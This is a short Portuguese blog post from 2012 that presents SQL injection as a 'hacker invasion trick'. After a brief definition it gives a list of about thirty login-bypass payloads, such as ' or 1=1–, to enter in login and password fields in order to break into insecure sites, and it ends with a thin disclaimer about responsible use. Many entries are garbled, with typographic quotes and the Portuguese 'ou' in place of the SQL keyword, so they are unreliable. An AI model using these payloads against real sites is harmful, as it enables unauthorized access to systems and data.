quarta-feira, 14 de março de 2012

Truque de invasão hacker sql injection

sql injection
Esse método que ensinarei hoje é chamado de SQL injection.

O que é SQL injection?

Primeiro vamos entender o que é SQL:

Structured Query Language, ou Linguagem de Consulta Estruturada ou SQL, é uma linguagem de pesquisa declarativa para banco de dados relacional(base de dados relacional).





A Injeção de SQL, mais conhecida através do termo americano SQL Injection, é um tipo de ameaça de segurança que se aproveita de falhas em sistemas que interagem com bases de dados via SQL. A injeção de SQL ocorre quando o atacante consegue inserir uma série de instruções SQL dentro de uma consulta (query) através da manipulação das entrada de dados de uma aplicação. 



Vamos ao que interessa, como podemos invadir um site?



Simples é só inserir um desses códigos abaixo no login e senha e ele fará com que o banco de dados entenda que o seu acesso é permitido na aplicação, se o tal estiver inseguro.

b’ or ‘ 1=’
‘ or ’1
‘ or ‘|
‘ or ‘a’='a
‘ or ”=’
‘ or 1=1–
‘) or (‘a’='a
‘ or ’1′=’1
admin ‘ – -
‘ ou 0=0 –
“ou 0=0 –
ou 0=0 –
‘ ou 0=0 #
“ou 0=0 #
ou 0=0 #
‘ ou ‘ x’='x
“ou” x”=”x
‘) ou (‘ x’='x
‘ ou 1=1 –
“ou 1=1 –
ou 1=1 –
‘ ou a=a –
“ou” a”=”a
‘) ou (‘ a’='a
“) ou (“a”=”a
hi “ou” a”=”a
hi “ou 1=1 –
hi ‘ ou 1=1 –
hi ‘ ou ‘ a’='a
hi ‘) ou (‘ a’='a
hi”) ou (“a”=”a
‘ or ‘x’='x

Conhecimento não é crime.
Espero que você use o que leu aqui com responsabilidade.



--------------------------------------------------------------------------------------------------------------

Nenhum comentário:

Postar um comentário